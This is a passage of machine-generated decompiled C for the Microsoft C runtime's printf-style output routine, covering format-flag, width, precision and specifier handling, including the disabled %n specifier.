																			 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		}
																	}
																	goto L218;
																case 4:
																	L40:
																	 *(__ebp - 0x30) = 0;
																	goto L218;
																case 5:
																	L41:
																	__eax =  *((char*)(__ebp - 0x251));
																	__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																	if( *((char*)(__ebp - 0x251)) != 0x2a) {
																		__edx =  *(__ebp - 0x30);
																		__edx =  *(__ebp - 0x30) * 0xa;
																		__eflags = __edx;
																		_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																		__ecx = __edx + _t107;
																		 *(__ebp - 0x30) = __ecx;
																	} else {
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x30) = E004284A0(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) < 0) {
																			 *(__ebp - 0x30) = 0xffffffff;
																		}
																	}
																	goto L218;
																case 6:
																	L47:
																	__edx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																	 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																	__eflags =  *(__ebp - 0x320) - 0x2e;
																	if( *(__ebp - 0x320) > 0x2e) {
																		L70:
																		goto L218;
																	}
																	L48:
																	__ecx =  *(__ebp - 0x320);
																	_t115 = __ecx + 0x435700; // 0x4f0e9003
																	__edx =  *_t115 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M004356EC))) {
																		case 0:
																			L53:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x36;
																			if( *( *(__ebp + 0xc)) != 0x36) {
																				L56:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x33;
																				if( *( *(__ebp + 0xc)) != 0x33) {
																					L59:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc));
																					__eflags =  *( *(__ebp + 0xc)) - 0x64;
																					if( *( *(__ebp + 0xc)) == 0x64) {
																						L65:
																						L67:
																						goto L70;
																					}
																					L60:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx;
																					__eflags =  *__ecx - 0x69;
																					if( *__ecx == 0x69) {
																						goto L65;
																					}
																					L61:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc));
																					__eflags = __ecx - 0x6f;
																					if(__ecx == 0x6f) {
																						goto L65;
																					}
																					L62:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc));
																					__eflags =  *( *(__ebp + 0xc)) - 0x75;
																					if( *( *(__ebp + 0xc)) == 0x75) {
																						goto L65;
																					}
																					L63:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx;
																					__eflags =  *__ecx - 0x78;
																					if( *__ecx == 0x78) {
																						goto L65;
																					}
																					L64:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc));
																					__eflags = __ecx - 0x58;
																					if(__ecx != 0x58) {
																						 *(__ebp - 0x25c) = 0;
																						goto L18;
																					}
																					goto L65;
																				}
																				L57:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *((char*)(__ecx + 1));
																				__eflags =  *((char*)(__ecx + 1)) - 0x32;
																				if( *((char*)(__ecx + 1)) != 0x32) {
																					goto L59;
																				} else {
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																					__ecx =  *(__ebp - 0x10);
																					__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																					 *(__ebp - 0x10) = __ecx;
																					goto L67;
																				}
																			}
																			L54:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x34;
																			if( *((char*)(__ecx + 1)) != 0x34) {
																				goto L56;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00008000;
																				 *(__ebp - 0x10) = __ecx;
																				goto L67;
																			}
																		case 1:
																			L68:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			goto L70;
																		case 2:
																			L49:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6c;
																			if(__ecx != 0x6c) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000010;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			}
																			goto L70;
																		case 3:
																			L69:
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																			goto L70;
																		case 4:
																			goto L70;
																	}
																case 7:
																	L71:
																	__ecx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x324) = __ecx;
																	 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																	 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																	__eflags =  *(__ebp - 0x324) - 0x37;
																	if( *(__ebp - 0x324) > 0x37) {
																		while(1) {
																			L190:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	}
																	L72:
																	_t156 =  *(__ebp - 0x324) + 0x43576c; // 0xcccccc0d
																	__ecx =  *_t156 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M00435730))) {
																		case 0:
																			L123:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			__eflags = __ecx;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L124;
																		case 1:
																			L73:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__eax =  *(__ebp - 0x10);
																				__eax =  *(__ebp - 0x10) | 0x00000800;
																				__eflags = __eax;
																				 *(__ebp - 0x10) = __eax;
																			}
																			goto L75;
																		case 2:
																			L88:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000800;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			}
																			goto L90;
																		case 3:
																			L146:
																			 *(__ebp - 0x260) = 7;
																			goto L148;
																		case 4:
																			L81:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x288) = E004284A0(__ebp + 0x14);
																			__eflags =  *(__ebp - 0x288);
																			if( *(__ebp - 0x288) == 0) {
																				L83:
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
																				L87:
																				goto L190;
																			}
																			L82:
																			__ecx =  *(__ebp - 0x288);
																			__eflags =  *(__ecx + 4);
																			if( *(__ecx + 4) != 0) {
																				L84:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				__eflags =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L87;
																			}
																			goto L83;
																		case 5:
																			L124:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) >= 0) {
																				L126:
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) != 0) {
																					L129:
																					__eflags =  *(__ebp - 0x30) - 0x200;
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L131:
																					__eflags =  *(__ebp - 0x30) - 0xa3;
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B890(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						__eflags =  *(__ebp - 0x20);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					__ecx =  *(__eax - 8);
																					__edx =  *(__eax - 4);
																					 *(__ebp - 0x2a8) =  *(__eax - 8);
																					 *(__ebp - 0x2a4) =  *(__eax - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AE20(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a8;
																					_push(__ebp - 0x2a8);
																					__eax =  *0x440374; // 0x7e8e98dc
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																						__eflags =  *(__ebp - 0x30);
																						if( *(__ebp - 0x30) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AE20(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x440380; // 0x8a8e9826
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						__eflags =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AE20(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x44037c; // 0xc28e9826
																							E00424690(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					__eflags =  *( *(__ebp - 4)) - 0x2d;
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						__edx =  *(__ebp - 4);
																						__edx =  *(__ebp - 4) + 1;
																						__eflags = __edx;
																						 *(__ebp - 4) = __edx;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
																					do {
																						L190:
																						__eflags =  *(__ebp - 0x28);
																						if( *(__ebp - 0x28) != 0) {
																							goto L216;
																						}
																						goto L191;
																					} while ( *(__ebp - 0x324) > 0x37);
																					goto L72;
																				}
																				L127:
																				__ecx =  *((char*)(__ebp - 0x251));
																				__eflags = __ecx - 0x67;
																				if(__ecx != 0x67) {
																					goto L129;
																				}
																				L128:
																				 *(__ebp - 0x30) = 1;
																				goto L131;
																			}
																			L125:
																			 *(__ebp - 0x30) = 6;
																			goto L131;
																		case 6:
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			__eflags =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E004284A0(__ebp + 0x14);
																				 *(__ebp - 0x284) = __ax;
																				__cl =  *(__ebp - 0x284);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x280) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E004284E0(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x280) = E00434360(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				__eflags =  *(__ebp - 0x280);
																				if( *(__ebp - 0x280) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		case 7:
																			L144:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L153;
																		case 8:
																			L109:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x298) = E004284A0(__ebp + 0x14);
																			__eax = E00434040();
																			__eflags = __eax;
																			if(__eax != 0) {
																				L119:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x298);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x298);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				while(1) {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			}
																			L110:
																			__edx = 0;
																			__eflags = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x32c) = 0;
																			} else {
																				 *(__ebp - 0x32c) = 1;
																			}
																			__eax =  *(__ebp - 0x32c);
																			 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																			__eflags =  *(__ebp - 0x29c);
																			if( *(__ebp - 0x29c) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E350();
																				__esp = __esp + 0x14;
																				__eflags = __eax - 1;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			__eflags =  *(__ebp - 0x29c);
																			if( *(__ebp - 0x29c) != 0) {
																				L118:
																				while(1) {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			} else {
																				L117:
																				 *((intOrPtr*)(L00422E40(__ecx))) = 0x16;
																				__eax = E00422BD0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2f8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041ADF0(__ecx);
																				__eax =  *(__ebp - 0x2f8);
																				goto L229;
																			}
																		case 9:
																			L151:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000200;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			L153:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E004284A0(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004284A0(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E004284A0(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2b4) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004284A0(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E004284C0(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E004284C0(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L170;
																			}
																		case 0xa:
																			goto L0;
																		case 0xb:
																			L90:
																			__eflags =  *(__ebp - 0x30) - 0xffffffff;
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x328) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x328) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x328);
																			 *(__ebp - 0x290) =  *(__ebp - 0x328);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E004284A0(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			__eflags =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L101:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x440f80; // 0x404448
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x28c) =  *(__ebp - 4);
																				while(1) {
																					L104:
																					__ecx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					__eflags = __ecx;
																					if(__ecx == 0) {
																						break;
																					}
																					L105:
																					__eax =  *(__ebp - 0x28c);
																					__ecx =  *( *(__ebp - 0x28c));
																					__eflags = __ecx;
																					if(__ecx == 0) {
																						break;
																					}
																					L106:
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				}
																				L107:
																				__eax =  *(__ebp - 0x28c);
																				__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				__eflags = __eax;
																				 *(__ebp - 0x24) = __eax;
																				goto L108;
																			} else {
																				L94:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f84; // 0x404438
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x294) =  *(__ebp - 4);
																				while(1) {
																					L97:
																					__edx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					__eflags =  *(__ebp - 0x290);
																					if( *(__ebp - 0x290) == 0) {
																						break;
																					}
																					L98:
																					__ecx =  *(__ebp - 0x294);
																					__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L99:
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				}
																				L100:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L108:
																				while(1) {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			}
																		case 0xc:
																			L145:
																			 *(__ebp - 8) = 0xa;
																			while(1) {
																				L153:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																				__eflags =  *(__ebp - 0x10) & 0x00008000;
																				if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																					__eflags =  *(__ebp - 0x10) & 0x00001000;
																					if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																						__eflags =  *(__ebp - 0x10) & 0x00000020;
																						if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								__eax = E004284A0(__ebp + 0x14);
																								__edx = 0;
																								__eflags = 0;
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = 0;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E004284A0(__ebp + 0x14);
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = __edx;
																							}
																						} else {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								E004284A0(__ebp + 0x14) = __ax & 0x0000ffff;
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																								 *(__ebp - 0x2b4) = __edx;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E004284A0(__ebp + 0x14);
																								__ax = __eax;
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = __edx;
																							}
																						}
																					} else {
																						__eax = __ebp + 0x14;
																						 *(__ebp - 0x2b8) = E004284C0(__ebp + 0x14);
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				} else {
																					__ecx = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E004284C0(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					goto L170;
																				}
																				goto L166;
																			}
																		case 0xd:
																			L147:
																			 *(__ebp - 0x260) = 0x27;
																			L148:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x14) = 0x30;
																				 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																				__eflags =  *(__ebp - 0x260) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			while(1) {
																				L153:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																				__eflags =  *(__ebp - 0x10) & 0x00008000;
																				if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																					__eflags =  *(__ebp - 0x10) & 0x00001000;
																					if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																						__eflags =  *(__ebp - 0x10) & 0x00000020;
																						if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								__eax = E004284A0(__ebp + 0x14);
																								__edx = 0;
																								__eflags = 0;
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = 0;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E004284A0(__ebp + 0x14);
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = __edx;
																							}
																						} else {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								E004284A0(__ebp + 0x14) = __ax & 0x0000ffff;
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																								 *(__ebp - 0x2b4) = __edx;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E004284A0(__ebp + 0x14);
																								__ax = __eax;
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = __edx;
																							}
																						}
																					} else {
																						__eax = __ebp + 0x14;
																						 *(__ebp - 0x2b8) = E004284C0(__ebp + 0x14);
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				} else {
																					__ecx = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E004284C0(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					goto L170;
																				}
																				goto L166;
																			}
																		case 0xe:
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																	}
																case 8:
																	L30:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																	goto L33;
																case 9:
																	L31:
